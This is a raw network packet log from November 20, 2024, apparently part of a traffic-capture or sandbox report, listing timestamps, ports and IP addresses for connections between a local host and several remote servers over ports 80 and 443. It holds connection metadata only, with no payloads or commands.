Nov 20, 2024 08:09:23.226257086 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.226268053 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.226277113 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.226278067 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.226290941 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.226291895 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.226305008 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.226315022 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.226315975 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.226326942 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.226337910 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.226347923 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.226349115 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.226363897 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.226365089 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.226392984 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.226422071 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.228487015 CET	49827	443	192.168.2.5	52.138.229.66
Nov 20, 2024 08:09:23.228528023 CET	443	49827	52.138.229.66	192.168.2.5
Nov 20, 2024 08:09:23.228585005 CET	49827	443	192.168.2.5	52.138.229.66
Nov 20, 2024 08:09:23.228928089 CET	49827	443	192.168.2.5	52.138.229.66
Nov 20, 2024 08:09:23.228950977 CET	443	49827	52.138.229.66	192.168.2.5
Nov 20, 2024 08:09:23.228961945 CET	49818	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:23.228981018 CET	443	49818	162.159.61.3	192.168.2.5
Nov 20, 2024 08:09:23.232121944 CET	49828	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.232151985 CET	443	49828	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.232399940 CET	49828	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.232579947 CET	49828	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.232589006 CET	443	49828	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.241866112 CET	49829	443	192.168.2.5	152.195.19.97
Nov 20, 2024 08:09:23.241905928 CET	443	49829	152.195.19.97	192.168.2.5
Nov 20, 2024 08:09:23.242007971 CET	49829	443	192.168.2.5	152.195.19.97
Nov 20, 2024 08:09:23.242221117 CET	49829	443	192.168.2.5	152.195.19.97
Nov 20, 2024 08:09:23.242235899 CET	443	49829	152.195.19.97	192.168.2.5
Nov 20, 2024 08:09:23.248121023 CET	49819	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:23.248142004 CET	443	49819	162.159.61.3	192.168.2.5
Nov 20, 2024 08:09:23.248867989 CET	49830	443	192.168.2.5	108.139.47.50
Nov 20, 2024 08:09:23.248887062 CET	443	49830	108.139.47.50	192.168.2.5
Nov 20, 2024 08:09:23.248951912 CET	49830	443	192.168.2.5	108.139.47.50
Nov 20, 2024 08:09:23.249588013 CET	49831	443	192.168.2.5	20.75.60.91
Nov 20, 2024 08:09:23.249623060 CET	443	49831	20.75.60.91	192.168.2.5
Nov 20, 2024 08:09:23.249685049 CET	49831	443	192.168.2.5	20.75.60.91
Nov 20, 2024 08:09:23.249931097 CET	49830	443	192.168.2.5	108.139.47.50
Nov 20, 2024 08:09:23.249939919 CET	443	49830	108.139.47.50	192.168.2.5
Nov 20, 2024 08:09:23.250427008 CET	49831	443	192.168.2.5	20.75.60.91
Nov 20, 2024 08:09:23.250442028 CET	443	49831	20.75.60.91	192.168.2.5
Nov 20, 2024 08:09:23.267875910 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.267889977 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.267981052 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.268042088 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.268055916 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.268066883 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.268081903 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.268110991 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.268229961 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.268244028 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.268270016 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.268289089 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.268491030 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.268502951 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.268536091 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.268558979 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.268640995 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.268654108 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.268665075 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.268675089 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.268686056 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.268688917 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.268698931 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.268708944 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.268722057 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.268738985 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.269131899 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.269143105 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.269154072 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.269177914 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.269207954 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.269290924 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.269303083 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.269320011 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.269330978 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.269336939 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.269345045 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.269356966 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.269385099 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.269459963 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.269474030 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.269485950 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.269498110 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.269510984 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.269529104 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.269548893 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.269629955 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.269640923 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.269651890 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.269661903 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.269665956 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.269676924 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.269685030 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.269721031 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.269762039 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.269907951 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.269942999 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.269953966 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.269993067 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.270133972 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.270144939 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.270155907 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.270167112 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.270178080 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.270179987 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.270189047 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.270199060 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.270205975 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.270210981 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.270222902 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.270225048 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.270242929 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.270320892 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.270428896 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.270587921 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.270597935 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.270608902 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.270627975 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.270657063 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.270766973 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.270777941 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.270788908 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.270801067 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.270809889 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.270812035 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.270836115 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.270843983 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.270848036 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.270859957 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.270870924 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.270880938 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.270888090 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.270894051 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.270906925 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.270931005 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.271249056 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.271287918 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.271435976 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.271447897 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.271459103 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.271471024 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.271480083 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.271481991 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.271498919 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.271507978 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.271509886 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.271522999 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.271523952 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.271550894 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.271578074 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.271599054 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.271610975 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.271621943 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.271631956 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.271641016 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.271653891 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.271678925 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.275168896 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.275882006 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.275897026 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.276381969 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.277964115 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.278059959 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.278310061 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.315526962 CET	49833	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.315557003 CET	443	49833	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.315772057 CET	49833	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.315934896 CET	49834	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.315956116 CET	443	49834	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.316108942 CET	49835	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.316117048 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.316128969 CET	49834	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.316171885 CET	49835	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.316508055 CET	49836	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.316550970 CET	443	49836	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.316692114 CET	49836	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.316729069 CET	49837	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.316771984 CET	443	49837	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.316831112 CET	49837	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.316984892 CET	49838	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.316994905 CET	443	49838	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.317146063 CET	49838	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.317193031 CET	49833	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.317203045 CET	443	49833	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.317337990 CET	49834	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.317353010 CET	443	49834	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.317766905 CET	49835	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.317779064 CET	443	49835	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.318142891 CET	49836	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.318156004 CET	443	49836	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.318269968 CET	49837	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.318294048 CET	443	49837	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.318370104 CET	49838	443	192.168.2.5	104.117.182.56
Nov 20, 2024 08:09:23.318383932 CET	443	49838	104.117.182.56	192.168.2.5
Nov 20, 2024 08:09:23.319336891 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.353214025 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.358222961 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.378966093 CET	49818	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:23.380131960 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.380157948 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.380172014 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.380357981 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.380377054 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.380429029 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.407574892 CET	443	49821	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.408253908 CET	49821	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.408278942 CET	443	49821	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.410794973 CET	49821	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.410801888 CET	443	49821	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.439764977 CET	49819	443	192.168.2.5	162.159.61.3
Nov 20, 2024 08:09:23.465761900 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.465790033 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.465830088 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.465856075 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.465878010 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.465893030 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.468163013 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.468184948 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.468230963 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.468245029 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.468277931 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.468291998 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.488512039 CET	443	49822	52.159.108.190	192.168.2.5
Nov 20, 2024 08:09:23.488778114 CET	49822	443	192.168.2.5	52.159.108.190
Nov 20, 2024 08:09:23.488802910 CET	443	49822	52.159.108.190	192.168.2.5
Nov 20, 2024 08:09:23.489177942 CET	443	49822	52.159.108.190	192.168.2.5
Nov 20, 2024 08:09:23.490355968 CET	49822	443	192.168.2.5	52.159.108.190
Nov 20, 2024 08:09:23.490420103 CET	443	49822	52.159.108.190	192.168.2.5
Nov 20, 2024 08:09:23.490585089 CET	49822	443	192.168.2.5	52.159.108.190
Nov 20, 2024 08:09:23.490618944 CET	49822	443	192.168.2.5	52.159.108.190
Nov 20, 2024 08:09:23.490627050 CET	443	49822	52.159.108.190	192.168.2.5
Nov 20, 2024 08:09:23.510762930 CET	443	49821	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.510838032 CET	443	49821	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.511744022 CET	49821	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.511950016 CET	49821	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.511966944 CET	443	49821	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.518582106 CET	49839	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.518630028 CET	443	49839	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.518913031 CET	49839	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.518913031 CET	49839	443	192.168.2.5	13.107.246.45
Nov 20, 2024 08:09:23.518946886 CET	443	49839	13.107.246.45	192.168.2.5
Nov 20, 2024 08:09:23.554790020 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.554812908 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.554877996 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.554898977 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.554970026 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.556221962 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.556237936 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.556305885 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.556313038 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.556358099 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.557328939 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.557347059 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.557399988 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.557404995 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.557429075 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.557446003 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.557595968 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.557610035 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.557661057 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.557763100 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.557768106 CET	443	49820	13.107.246.40	192.168.2.5
Nov 20, 2024 08:09:23.557809114 CET	49820	443	192.168.2.5	13.107.246.40
Nov 20, 2024 08:09:23.574858904 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.574929953 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.574928999 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.574942112 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.574954987 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.574970007 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.574987888 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.574990988 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.575026035 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.575061083 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.575073957 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.575098038 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.575112104 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.575160980 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.575174093 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.575201035 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.575227976 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.575283051 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.575294018 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.575306892 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.575330019 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.575355053 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.575445890 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.575459003 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.575470924 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.575479031 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.575483084 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.575495958 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.575495958 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.575511932 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.575515985 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.575545073 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.575727940 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.575740099 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.575769901 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.575783968 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.575871944 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.575884104 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.575895071 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.575908899 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.575912952 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.575925112 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.575930119 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.575937033 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.575948954 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.575959921 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.575968981 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.575972080 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.575984955 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.575993061 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.576035023 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.576488972 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.576503038 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.576514006 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.576525927 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.576528072 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.576538086 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.576550007 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.576551914 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.576570988 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.576581001 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.576582909 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.576596022 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.576603889 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.576607943 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.576622009 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.576626062 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.576637030 CET	80	49765	185.215.113.206	192.168.2.5
Nov 20, 2024 08:09:23.576643944 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.576672077 CET	49765	80	192.168.2.5	185.215.113.206
Nov 20, 2024 08:09:23.577030897 CET	80	49765	185.215.113.206	192.168.2.5
